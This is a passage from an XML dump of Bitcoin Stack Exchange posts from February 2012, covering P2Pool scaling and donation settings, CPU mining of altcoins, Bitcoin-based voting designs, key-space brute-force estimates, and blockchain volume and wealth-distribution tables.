ContentLicense="CC BY-SA 3.0" />
  <row Id="2862" PostTypeId="1" AcceptedAnswerId="2865" CreationDate="2012-02-06T08:33:10.630" Score="12" ViewCount="910" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=62396.msg730602#msg730602&quot;&gt;See this thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would P2Pool scale if 10% of Bitcoin mining was done via it? 50%? 100%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the current implementation scalable? If not, are there designs for making it scalable?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-07T10:37:30.430" LastActivityDate="2016-03-07T10:37:30.430" Title="How well does P2Pool scale?" Tags="|p2pool|scalability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2864" PostTypeId="2" ParentId="253" CreationDate="2012-02-06T10:35:43.793" Score="7" Body="&lt;p&gt;Since &lt;a href=&quot;https://github.com/forrestv/p2pool/commit/6f1fbf77aa6e14dd65f423b5bfda046fdc989777&quot;&gt;November 17, 2011&lt;/a&gt; no fee is charged.  Instead an optional donation of 0.5% is sent to the author of P2Pool to support future development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to donate to the author you can run P2Pool like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python2 run_p2pool.py --give-author 0.0 [USERNAME] [PASSWORD]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 0.0 is a percentage of your earnings and can be set to whatever percentage you like.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-24T05:58:05.847" LastActivityDate="2012-02-24T05:58:05.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2865" PostTypeId="2" ParentId="2862" CreationDate="2012-02-06T17:20:40.420" Score="12" Body="&lt;p&gt;There are two problems with scaling P2Pool:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The sharechain difficulty goes up as the pool gets bigger to maintain the rate of finding shares at around every 10 seconds.  If everyone was using P2Pool then the difficulty of finding a share would only be 60 times less than the difficulty of solo mining, and so varience would go right up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As more miners join, it's likely that the latency goes up.  Since the share that the pool is working on changes every 10 seconds or so, a delay of just a few seconds is very significant.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to scale, there needs to be multiple P2Pools.  Maybe they can be nested in a tree structure: a level 1 P2Pool sets its difficulty so it finds shares every 5 minutes.  100 different level 2 P2Pools feed into it, finding shares every 1 minute, and 100 level 3 pools feed into each of the level 2 pools, finding blocks every 10 seconds.  Ideally this would all be managed automatically by the p2p network if that's possible.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-06T17:20:40.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2866" PostTypeId="2" ParentId="1619" CreationDate="2012-02-06T18:45:36.290" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I thought about creating a website were people could upload their&#xA;  wallets and choose a destination address where the coins would be sent&#xA;  to.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not possible if you don't want the website to have all the private keys.  What would be possible would be to have the website monitor a set of addresses and email you whenever funds are deposited to any of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a free online wallet service called &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;My Wallet&lt;/a&gt; which does exactly this, offering &quot;Payment Notifications via Skype, Email, Google Talk and HTTP Post&quot;.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-06T18:45:36.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2868" PostTypeId="2" ParentId="1619" CreationDate="2012-02-06T19:37:28.970" Score="6" Body="&lt;p&gt;It is currently not implemented by any client that I know of, but it is possible to create a signature for a transaction that doesn't include the outputs. The trick is using the SIGHASH_NONE signature type. This would allow you to fill in the output later on, and still send it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible solution that has been suggested (but again not implemented) is having auto-clean addresses - addresses that are marked specially so that if ever a payment arrives to them, it is immediately moved to another address.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-02-06T19:37:28.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2869" PostTypeId="2" ParentId="2680" CreationDate="2012-02-06T22:10:56.937" Score="1" Body="&lt;p&gt;Mt. Gox trades as Google Fusion Table&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.google.com/fusiontables/DataSource?snapid=S364820JWm5&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/fusiontables/DataSource?snapid=S364820JWm5&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As far as a &quot;wish list&quot;, knowing the count, mean, median and average of bitcoin addresses and their &quot;balance&quot; after each block would be useful for knowing over time traction.  By itself it might not reveal all that much to us but it may correlate to other data or indicate a trend that other data doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An update is done monthly to: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/spreadsheet/ccc?key=0AmcTCtjBoRWUdHJuUE1mUkFxa3A0eHBDQkxZLVVFZmc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-04-07T00:28:07.607" LastActivityDate="2012-04-07T00:28:07.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2870" PostTypeId="2" ParentId="2680" CreationDate="2012-02-07T01:49:36.797" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;Historic trade data is available from the &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Charts Market API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcointalk.org &lt;a href=&quot;https://bitcointalk.org/index.php?action=stats&quot; rel=&quot;nofollow noreferrer&quot;&gt;forum stats&lt;/a&gt;, &lt;a href=&quot;https://bitcointalk.org/adrotate.php?adstats&quot; rel=&quot;nofollow noreferrer&quot;&gt;impression stats for ads&lt;/a&gt;, e.g. new member sign-ups per day&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.google.com/trends/?q=bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Trends data&lt;/a&gt; for bitcoin. (Can be exported as a CSV file with links at bottom of the page)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/q&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockexplorer.com&lt;/a&gt; stats query page&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blockchain.info&lt;/a&gt; API&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://bitcoinstatus.rowit.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoinstatus.RowIT&lt;/a&gt; page has graphs on the number of bitcoin hosts connected, client version and data on hosts/country. Don't see an API but some data is in tables so probably easy enough to scrape.&lt;/li&gt;&#xA;&lt;li&gt;Chris Moore's answer to this &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2828/61&quot;&gt;question&lt;/a&gt; provides a lot of useful stats. &lt;/li&gt;&#xA;&lt;li&gt;Of course the blockchain itself.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-06-10T00:11:23.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2871" PostTypeId="1" CreationDate="2012-02-07T03:57:54.433" Score="7" ViewCount="3272" Body="&lt;p&gt;I have a useless Nvidia, until now, unconfigurable to mine (7300)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if I mine just with CPU, can I get more coins mining others coins like NMC,LQC,LTC,SC, or whatever, and trading after for BTCs?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="5406" LastEditDate="2016-01-20T21:01:11.577" LastActivityDate="2016-01-20T21:01:11.577" Title="Can I CPU mine other coins to win Bitcoins?" Tags="|trading|alternatives|mining-profitability|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2872" PostTypeId="2" ParentId="2871" CreationDate="2012-02-07T05:20:39.490" Score="4" Body="&lt;p&gt;This is largely what the sCrypt() based forks are intended for - both utilizing un-tapped CPU power on dedicated rigs or allowing casual miners to use their CPUs. At present, the difficulty on the Bitcoin network is so high that it's not even a question of profitability but capability - even with pooled mining, CPU mining is so slow that you may not actually submit even a single share for each round. That said, let's do the math. I'll use Tenebrix (TBX) as an example since I have numbers handy for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the numbers presented are based on difficulties and exchange rates &lt;strong&gt;right now&lt;/strong&gt; and as such will change. I will provide sources for all values and calculations so that you can re-calculate at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A decent dual-core CPU will net you about 3 kH/s on Tenebrix (0.003 MH/s) and our friend the &lt;a href=&quot;http://www.alloscomp.com/bitcoin/calculator.php&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Mining Calculator&lt;/a&gt; says that at the current &lt;a href=&quot;http://blockexplorer.sytes.net/chain/Tenebrix&quot; rel=&quot;nofollow&quot;&gt;difficulty&lt;/a&gt; of 0.288 you should mine 10.48 TBX per day. &lt;a href=&quot;https://btc-e.com/exchange/tbx_btc&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt; has the current TBX/BTC exchange rate at 0.000195, so that's worth 0.0020436 BTC per day. The same math could be done for FairBrix, LTC or any other sCrypt() derived forks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the BTC side of the fence: At the current difficulty of 1379647.43921 (auto-populated in the calculator, but available from the &lt;a href=&quot;http://blockexplorer.sytes.net/chain/Bitcoin&quot; rel=&quot;nofollow&quot;&gt;same blockexplorer clone&lt;/a&gt; I linked earlier) the same CPU will run about 3 MH/s on the Bitcoin network worth approximately 0.00219 BTC, roughly the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's your (hopefully future-proof) answer: let the math guide you. As of this exact moment, mining TBX about the same efficiency though you'll probably see smoother returns with an sCrypt() fork (i.e. more shares per hour)&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-02-07T06:43:21.273" LastActivityDate="2012-02-07T06:43:21.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2873" PostTypeId="2" ParentId="2684" CreationDate="2012-02-07T14:18:21.073" Score="2" Body="&lt;p&gt;The bitcoin client devs has said they will be working on this very problem in the future versions of the client, possibly only downloading a subset of the blockchain. Because as years go by, the blockchain will grow very large, given the current amount of transactions plus some growth, in 10 years it will approach 50GB, this is simply unsustainable. &lt;/p&gt;&#xA;" OwnerUserId="74" LastActivityDate="2012-02-07T14:18:21.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2874" PostTypeId="2" ParentId="1517" CreationDate="2012-02-07T20:19:57.093" Score="3" Body="&lt;p&gt;I don't have a clean solution but have put a fair amount of thought into this question, which I'll try and summarize here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term &quot;Bitcoin-based&quot; could have different meanings. It could mean (1) using Bitcoin exclusively, (2) using Bitcoin as black box to provide some functionality to augment some other voting protocol, or (liberally) (3) using the same cryptographic toolset as Bitcoin without using Bitcoin itself explicitly. I'll deal with the cases in order (3), (1), and (2). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Bitcoin's Toolset&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me start with (3): using the Bitcoin toolbox. There is a lot of promise to the idea of applying cryptography to voting. In fact, there is a large shared history between digital cash and cryptographic voting, including the origins of both in cryptographer David Chaum and many shared primitives developed over the past few decades. This is the most promising in my opinion but also the least interesting to Bitcoin enthusiasts, so I won't say much more about it here. I do try to summarize  the current state of cryptographic voting &lt;a href=&quot;https://security.stackexchange.com/a/5798/382&quot;&gt;over on Security.SE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using (Almost) Exclusively Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of (1), as most of the answers so far point out, governmental voting requires some control over identity to ensure that only eligible voters vote and that they only vote once. This needs to be held in contrast with the right to a secret ballot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible for the government to maintain a roster of voters with each eligible voter's name, accompanied by an encryption of their Bitcoin public key. Each candidate could set up an account and you could vote by moving a specified amount to the candidate (if the candidates are trustworthy, they can immediately return the money to you). When the election is over, the blockchain is parsed to count the unique addresses sending money to each of the candidates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure voters are eligible takes a little work (done outside of Bitcoin): the encrypted public keys from the roster are &lt;a href=&quot;http://en.wikipedia.org/wiki/Mix_network&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptographically shuffled&lt;/a&gt; (this anonymizes the list so you lose track of which encrypted key corresponds to which registered voter). The accounts who cast votes are encrypted (along with their choice of candidate) and also cryptographically shuffled. The election authority can then compare the encrypted signing key of each registered voter with the encrypted singing key of each voter who submitted a vote. This is done &lt;em&gt;under encryption&lt;/em&gt; (using a &quot;plaintext equality test&quot;). Only when there is a match between the two lists is the vote actually counted. For each step, the EA publishes a publicly verifiable proof demonstrating it is done correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a voter is coerced or wants to sell their vote (while not actually selling it), they just make up a new bitcoin account and vote from it, knowing the vote will be discarded because it is not the account they registered (and no one can tell, because the account they registered is under encryption, and votes are only checked for registration after shuffling/anonymization). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all is a fairly direct translation of an existing system, &lt;a href=&quot;http://www.rsa.com/rsalabs/node.asp?id=2860&quot; rel=&quot;nofollow noreferrer&quot;&gt;JCJ&lt;/a&gt; / &lt;a href=&quot;http://www.cs.cornell.edu/projects/civitas/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Civitas&lt;/a&gt;, to Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using Bitcoin as a Primitive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example, we didn't use Bitcoin exclusively but it still featured fairly prominently. We could instead use a smaller piece of what Bitcoin provides. For example, the blockchain is an excellent append-only broadcast channel with timestamping and &quot;&lt;a href=&quot;http://people.scs.carleton.ca/~clark/projects/commitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;carbon-dating&lt;/a&gt;.&quot; Many cryptographic voting systems (nearly all of them) use a primitive like this which is typically called a &quot;bulletin board.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bulletin board is a place to post encrypted values and proofs that encrypted values are processed in the correct way to produce the tally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of &lt;a href=&quot;http://people.scs.carleton.ca/~clark/papers/2012_fc.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;CommitCoin&lt;/a&gt; (mentioned in another answer; disclaimer: I'm an inventor of it) is to use Bitcoin to provide a bulletin board service. The heavy lifting is done by the &lt;a href=&quot;http://en.wikipedia.org/wiki/Scantegrity&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scantegrity&lt;/a&gt; cryptographic voting system.&lt;/p&gt;&#xA;" OwnerUserId="512" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:12.247" LastActivityDate="2012-02-10T08:15:30.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2875" PostTypeId="2" ParentId="2847" CreationDate="2012-02-07T21:53:27.300" Score="2" Body="&lt;p&gt;2^256 = 1.1x10^77  = number of key combinations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2^128 = 3.4x10^38  = the average number of guesses needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this website: &lt;a href=&quot;http://en.wikipedia.org/wiki/TOP500&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/TOP500&lt;/a&gt;, the fastest supercomputer is the K computer which has 10.51 petaflops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A petaflop is 10^15 FLOPS, floating point instructions per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good, but I need to know how many FLOPS are needed per guess?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[I will venture a guess:]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between 1,000 and 10,000 FLOPS (or integer equivalents) per guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10.51x10^15 ops/second / 1000 to 10000 ops/guess) = 10.51x10^12 to 10.51x10^11 guess/second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.4x10^38 guesses/crack  / 10.51x10^12 guess/second = 3.2x10^25 seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.2x10^25 seconds / 60 seconds/minute / 60 minutes/hour / 24 hours/day / 365.25 days/year = 1.01x10^18 years&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.01x10^18 years / 1x10^9 / 1x10^9 = 1.014 to 10.014 billion billion years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the computers on the Bitcoin network are twice as fast as the single largest laboratory computer.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="662" LastEditDate="2012-02-17T19:15:08.720" LastActivityDate="2012-02-17T19:15:08.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2876" PostTypeId="2" ParentId="1996" CreationDate="2012-02-07T23:00:02.977" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitaddress.org/&quot; rel=&quot;noreferrer&quot;&gt;bitaddress.org&lt;/a&gt; allows you to recreate your public key from a private key.  Go to the &quot;Wallet Details&quot; tab, paste in the private key and click 'view details'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is a single large javascript program, and works entirely offline.  If you don't trust it, you could disconnect from the Internet before pasting in your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really don't trust it, try a random private key I just generated:&#xA;    &lt;code&gt;5KZAueujixZWLhhRZXejQUBVUsz4ighKd7gwsb4yjAKs6PhKEAD&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corresponding Bitcoin address is:&#xA;    &lt;code&gt;11CywWGeviZVmcHnNMm2oxrH4RhTU4YTe&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-02-07T23:00:02.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2877" PostTypeId="1" CreationDate="2012-02-08T05:02:03.950" Score="9" ViewCount="95880" Body="&lt;p&gt;Is there some website that provides some webminer or other way for a person to check their mining speed without actually joining any pool or doing solo mining? Alternatively, are there some miners that can be pre-configured to perform mining on a specific pool with given credentials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to put it in another way, if I wanted to simplify the process of checking a mining speed of a given computer for someone with minimal knowledge of what Bitcoin is, what websites or software should I use?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-06T19:07:23.177" LastActivityDate="2017-06-22T07:47:16.727" Title="How to quickly check your mining speed?" Tags="|hashpower|mining-hardware|performance|webminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2878" PostTypeId="1" AcceptedAnswerId="2885" CreationDate="2012-02-08T05:53:07.833" Score="3" ViewCount="4530" Body="&lt;p&gt;Every Bitcoin mining pool relies on &lt;a href=&quot;http://en.wikipedia.org/wiki/Basic_access_authentication&quot; rel=&quot;nofollow&quot;&gt;Basic Access Authentication&lt;/a&gt; to identify the user and credit their account for the work performed. But does this identification in form of username and password have to be unique for each separate machine that performs the mining? How is that problem addressed by the major pools?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-03-31T10:26:38.193" LastActivityDate="2017-12-09T09:00:22.920" Title="Miner username and password - does it need to be unique in the major pools?" Tags="|mining-pools|protocol|miner-configuration|verification|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2879" PostTypeId="2" ParentId="2422" CreationDate="2012-02-08T07:33:53.480" Score="5" Body="&lt;p&gt;I'm not sure the volume actually did increase so much in November and December.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual amounts transacted each month were:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jan 31 2011   3,679,198.19243835&#xA;Feb 28 2011   4,533,818.22264172&#xA;Mar 31 2011   9,331,953.39257620&#xA;Apr 30 2011  13,893,407.03577082&#xA;May 31 2011  11,850,890.09316489&#xA;Jun 30 2011  73,031,161.99932121 &amp;lt;-- biggest&#xA;Jul 31 2011  37,718,094.01889341&#xA;Aug 31 2011  17,348,635.19178118&#xA;Sep 30 2011  17,616,839.59721035&#xA;Oct 31 2011  12,008,040.32522139&#xA;Nov 30 2011  49,968,992.05725216&#xA;Dec 31 2011  46,978,824.26111485&#xA;Jan 31 2012  11,664,075.33329784&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The blockchain.info graph appears to ignore coins which are moved more than once in the same block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see that the blockchain.info graph is ignoring some volume, consider &lt;a href=&quot;http://blockexplorer.com/b/133233&quot; rel=&quot;nofollow&quot;&gt;block 133233&lt;/a&gt;.  That's just one of the &gt;100 blocks from 25th June, and it alone contains transactions worth 2,420,580 BTC.  However, the &lt;a href=&quot;http://blockchain.info/charts/estimated-transaction-volume?timespan=180days&amp;amp;showDataPoints=true&amp;amp;daysAverageString=1&amp;amp;scale=1&quot; rel=&quot;nofollow&quot;&gt;blockchain.info graph&lt;/a&gt; shows that no single day in June had a volume over 1 million BTC.  Scrolling to the end of &lt;a href=&quot;http://blockexplorer.com/b/133233&quot; rel=&quot;nofollow&quot;&gt;block 133233&lt;/a&gt; shows a whole page of small payments from a 46k BTC address, which the blockchain.info graph ignores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the blockchain.info graph, the biggest day in December involved transactions worth 5.834 million BTC.  There was only one day in December with that much volume, and that was December 6th, with 6.903 million BTC.  On December 6th, the volume was dominated by a 440k coin being moved 15 times, accounting for 6.601 million of the day's 6.903 million volume, so the blockchain.info graph must be taking 13 of these 15 movements into consideration.  The 15 movements occurred in 13 blocks - the coins move twice in each of blocks &lt;a href=&quot;http://blockexplorer.com/b/156242&quot; rel=&quot;nofollow&quot;&gt;156242&lt;/a&gt; and &lt;a href=&quot;http://blockexplorer.com/b/156346&quot; rel=&quot;nofollow&quot;&gt;156346&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The origin of this huge coin was on November 16th, ten 50k coins &lt;a href=&quot;http://blockexplorer.com/t/2aXLZLjoP6&quot; rel=&quot;nofollow&quot;&gt;were combined&lt;/a&gt; into a single 500k coin.  The coin moved around a lot from address to address until 8th December 2011, when it was &lt;a href=&quot;http://blockchain.info/tx/478ea915aa3a2e54503c43e1c5659722b42a784412423a05394c83a44affb805&quot; rel=&quot;nofollow&quot;&gt;broken up&lt;/a&gt; into &lt;a href=&quot;http://blockchain.info/tree/13076774&quot; rel=&quot;nofollow&quot;&gt;hundreds of small pieces&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: see &lt;a href=&quot;http://blockchain.info/charts/bitcoin-days-destroyed?daysAverageString=7&quot; rel=&quot;nofollow&quot;&gt;this graph&lt;/a&gt; of &quot;bitcoin days destroyed&quot;, which ignores rapid repeat coin movements by weighting transactions by the amount of time since the inputs were created.  It mirrors the data I pasted above, showing that June was a bigger month than November.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-02-13T12:53:30.060" LastActivityDate="2012-02-13T12:53:30.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2881" PostTypeId="2" ParentId="810" CreationDate="2012-02-08T10:00:33.080" Score="6" Body="&lt;p&gt;I don't know if any of this data is of any use or significance, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I calculated the Gini coefficient at the end of each month of Bitcoin's history.  I did it in two different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The vast majority of Bitcoin addresses that have ever been used are now empty.  They don't represent the &quot;have nots&quot;, they're just addresses that have been used and discarded, and so shouldn't be included in the calculation.  Similarly there will be lots of addresses which are holding change from transactions.  I arbitrarily decided to throw away all addresses with a balance of less than 1 BTC for this first calculation.&lt;/li&gt;&#xA;&lt;li&gt;Then I calculated the Gini coefficient for just the 100 richest accounts at the end of each month.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The results are shown below, with the columns in order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the date.  &quot;Jan 09&quot; means &quot;the end of Jan 09&quot;&lt;/li&gt;&#xA;&lt;li&gt;the total number of addresses in existence at that date, including empty ones&lt;/li&gt;&#xA;&lt;li&gt;the number of addresses with 1 BTC or more in them&lt;/li&gt;&#xA;&lt;li&gt;the amount in the richest account&lt;/li&gt;&#xA;&lt;li&gt;the amount in the 100th richest account (notice how this stayed at 50.00 for over a year)&lt;/li&gt;&#xA;&lt;li&gt;the Gini coefficient of the &gt;= 1BTC addresses&lt;/li&gt;&#xA;&lt;li&gt;the Gini coefficient of the top 100 addresses&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-date-   addresses    &amp;gt;1 BTC   1st - 100th richest   Gini &amp;gt;1   Gini100&#xA;Jan 09       2,569     2,439     2775.00 -   50.00   0.04571   0.50862&#xA;Feb 09       5,975     5,642     9075.00 -   50.00   0.05064   0.71354&#xA;Mar 09       9,444     8,864    16675.33 -   50.00   0.05794   0.82048&#xA;Apr 09      12,893    12,120    21175.33 -   50.00   0.05715   0.85527&#xA;May 09      16,288    15,380    26675.33 -   50.00   0.05306   0.87075&#xA;Jun 09      18,528    17,534    30675.33 -   50.00   0.05118   0.87980&#xA;Jul 09      20,456    19,338    36675.33 -   50.00   0.05248   0.89165&#xA;Aug 09      22,021    20,741    44473.86 -   50.00   0.05617   0.90351&#xA;Sep 09      24,180    22,639    53974.86 -   50.00   0.06188   0.91664&#xA;Oct 09      26,311    24,366    61424.62 -   50.00   0.07208   0.92725&#xA;Nov 09      28,533    26,403    61424.62 -   50.00   0.07279   0.93164&#xA;Dec 09      32,611    29,818    61424.62 -   50.00   0.08352   0.92241&#xA;&#xA;-date-   addresses    &amp;gt;1 BTC   1st - 100th richest   Gini &amp;gt;1   Gini100&#xA;Jan 10      37,647    34,333    72374.36 -   50.00   0.08571   0.92339&#xA;Feb 10      43,329    37,262    72374.36 -   50.00   0.13683   0.88570&#xA;Mar 10      48,615    40,316    72374.36 -   50.10   0.16674   0.82492&#xA;Apr 10      57,806    42,661    72374.36 -  500.00   0.21059   0.71037&#xA;May 10      63,368    44,583    72374.36 -  630.00   0.24448   0.65747&#xA;Jun 10      69,540    46,963    72374.36 -  750.00   0.26638   0.62843&#xA;Jul 10      94,992    51,628    72374.36 - 1757.14   0.32583   0.56689&#xA;Aug 10     107,172    53,578    72374.36 - 2100.02   0.35365   0.52483&#xA;Sep 10     120,562    53,492    72374.36 - 3000.00   0.39915   0.46956&#xA;Oct 10     135,952    54,637    85000.00 - 3333.33   0.42841   0.46050&#xA;Nov 10     155,639    55,756    90000.00 - 4150.00   0.45464   0.43790&#xA;Dec 10     176,326    57,247    90000.00 - 5000.00   0.47592   0.38625&#xA;&#xA;-date-   addresses    &amp;gt;1 BTC   1st - 100th richest   Gini &amp;gt;1   Gini100&#xA;Jan 11     210,243    58,073   250000.00 - 5350.00   0.49987   0.47440&#xA;Feb 11     267,542    59,699   250000.00 - 5650.51   0.52439   0.47584&#xA;Mar 11     353,093    61,984   250000.01 - 5613.86   0.54646   0.45504&#xA;Apr 11     443,112    64,254   200000.00 - 6002.81   0.57161   0.46808&#xA;May 11     631,480    70,883   297000.00 - 6309.40   0.62830   0.49247&#xA;Jun 11   1,061,590    90,159   424242.42 - 6308.24   0.70803   0.52602&#xA;Jul 11   1,548,806   101,895   384587.42 - 6450.00   0.73473   0.50905&#xA;Aug 11   1,930,979   105,572   104895.01 - 7495.92   0.74448   0.41533&#xA;Sep 11   2,205,926   106,973   105000.00 - 6926.85   0.74847   0.45014&#xA;Oct 11   2,411,298   110,463   105000.00 - 7345.73   0.75422   0.44981&#xA;Nov 11   2,601,999   111,386   455501.30 - 6926.85   